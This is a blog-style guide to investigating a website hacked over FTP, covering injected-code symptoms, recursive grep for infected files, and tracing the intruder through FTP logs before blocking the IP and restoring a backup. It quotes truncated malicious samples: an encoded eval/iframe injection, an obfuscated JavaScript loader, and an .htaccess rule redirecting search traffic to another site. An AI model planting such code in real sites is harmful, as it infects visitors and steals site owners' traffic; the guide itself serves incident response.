If you have a website, there is a good change that one day you will get hacked. It happens. With so many possible ways to intercept connections & gain entry, you cannot safe guard them all, not permanently anyway. A determined intruder can get in. I myself have even had one of my cPanel accounts compromised. There are a number of methods for severely lowering the chances of an intrusion, but I will be saving that for it’s own article as it will be rather involved. For this article, I am going to show you how you can investigate a hack after it happens; specifically when it happens via FTP.
The most common way that a hacker gains access is with FTP. In order to do so, they must use your password. They can either simply guess it, have a bot guess it (see Dictionary attack and Brute force attack), or sniff it out from your computer. The last option involves installing software on your system that steals the password when you type it in.
In all the above cases, they gain your password and log in as you. The server thinks that you are the one connecting and has no way of telling that it is actually an intrusion; this is because they have authorized themselves as you. There are some precautions you can set up on the server to prevent password guessing, such as an brute force detecting firewall (See Config Server Firewall). Again, I’ll go into detail in a future article. Let us begin with what to do after you are hacked.
Identifying the hack
The first step is learning that you are hacked. There are some pretty obvious ones that will jump out at you and then there are those that you may never notice till you edit the file (see Example #3).
Example #1 - Bad lines of code
Typical hacks simply insert code into your pages. If you are lucky (relatively speaking), the code will actually be not execute properly and will make your pages produce errors such as this:
Parse error: syntax error, unexpected '<' in /home/user/public_html/wp-includes/default-widgets.php on line 1162
You may also see miscellaneous other lines of errors or 500 Internal Server errors.
eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%69%65%6E%68%75%2E%63%6F%6D%2F%3F%31%35%36%33%30%38%32%38%22%20%77%69% Example #2 - Home page is replaced
The hacker my opt to simply replace your entire page with their own. Typically I’ve seen this of the recreational or political hacker. Here are some unfortunate examples that I have witnessed on others’ sites:
Example #3 - Traffic stolen through .htaccess
This one is probably the worst one of them all. This elegantly simple hack will steal your traffic by directing all visitors that come from a search engine to the hacker’s site. Meaning, if someone finds your site on Google, they will never actually get to your page. They’ll be taken elsewhere. This is achieved through the .htaccess:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC]
RewriteRule .* http://some-other-website.com/ [R=301,L] I say this one is the worst because it can go undetected for a long time. It will not produce errors on your site, and most people do not browse through their own code very often. The biggest tell tale sign is if you notice a significant drop in traffic. As a precaution, make it a habit to search your own website on search engines to see what comes up. You should be doing this anyway to keep track of your SEO practices.
What files have been hacked?
For the sake of this article, I’m going to use a recent example I ran across with a client. They were the victim of Example #1, bad lines of code. Here is the code that was actually at the bottom of their wordpress’ index page:
<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var anc=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var laf=r[i].cssRules||r[i].rules;for(var kw=0;kw<laf.length;kw++){var ta=laf.item?laf.item(kw):laf[kw];if(!ta.selectorText.match(/#va/))continue Obviously we know that the index.php file is infected, but what other files might be tainted as well? Lets find out. Note: The following commands are done with SSH console to your VPS or dedicated server. If you do not have SSH access, contact your hosting provider. They can do the following investigation for you.
From your document root, search for the bad code with a recursive grep command. This can take a long time if you have a lot of files (I chose to ignore the error log because I’m looking for a list of infected files. I don’t need that list filled with extraneous hits of error log entries).
grep -Ri "<script>function createCSS(selector,declaration)" ./* | grep -v error_log
./Backup/includes/functions/login.php
./Backup/index.php
./Backup/login.php
./admin/includes/index.php
./admin/index.php
./administrator/import/index.php
./administrator/modules/login/login.php
./administrator/modules/home/home.php
./administrator/modules/index.php
./affiliate/user/admin/index.php
./affiliate/user/index.php
./affiliate/index.php
./plugin/login.html
./plugin/index.php
./index.php
./login.php
List truncated...It would seem that the intruder went after nearly all the default php files on the account. A restore may be better than cleaning out each file, due to the sheer number of infected files.
When and Who did it?
Once you have found out how you’ve been hacked and where the bad file is, you can begin diving deeper. We’ll start with finding out when it occurred. A simple ‘list’ command will give you the date the file was modified.
ls -lash
4.0K -rw-r--r-- 1 username username 3.1K Jan 14 20:54 index.phpNow we can search through the FTP logs to see who modified that file on Jan 14th. We’ll also be able to see what other files they modified:
tail -n 500000 /var/log/messages* | grep "Jan 14" | grep ftp
Jan 14 20:44:40 vps pure-ftpd: (?@85.95.192.98) [INFO] username is now logged in
Jan 14 20:54:54 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/index.php downloaded (1679 bytes, 18615.92KB/sec)
Jan 14 20:54:57 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/index.php uploaded (7671 bytes, 8.89KB/sec)
Jan 14 20:54:59 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/login.php downloaded (1298 bytes, 16902.83KB/sec)
Jan 14 20:55:02 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/login.php uploaded (7290 bytes, 14.21KB/sec)
Jan 14 20:55:08 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/Backup/index.php downloaded (717 bytes, 113.28KB/sec)
Jan 14 20:55:10 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/Backup/index.php uploaded (6709 bytes, 10.96KB/sec)
List truncated....We found the intruder, now what?
The list gives us the IP address of the intruder: 85.95.192.98. If you are feeling really curious, you can do a Geographic lookup of the IP to see where in the world it came from: IP Address locator. This particular threat was from France. Time to block that IP in our server’s firewall.
The list above also tells us two more pieces of information.
First, it gives us a list of modified files. We already knew most of them because of the search we did earlier for the hack code. If the hacker changed up which code they were using, the search through the logs will tell us what other files they touched. You can now look through the FTP logs for just that IP if you want.
Second thing that FTP log shows us, and most importantly, is what user logged in. In this case it was the main user “username”. The account holder’s user name. And because it was a successful authentication, we know that they have the password. You should change your password right away.
The next step is to remove the hack code from your files or do a restore. In our example, I opted to restore the entire account because there were so many files infected. I happened to have a backup from only 12 hours before the hack, so it made sense to restore. They are back to normal and everything is right in the world again.
In a future article, I’ll discuss way to prevent hackers and how to harden your server.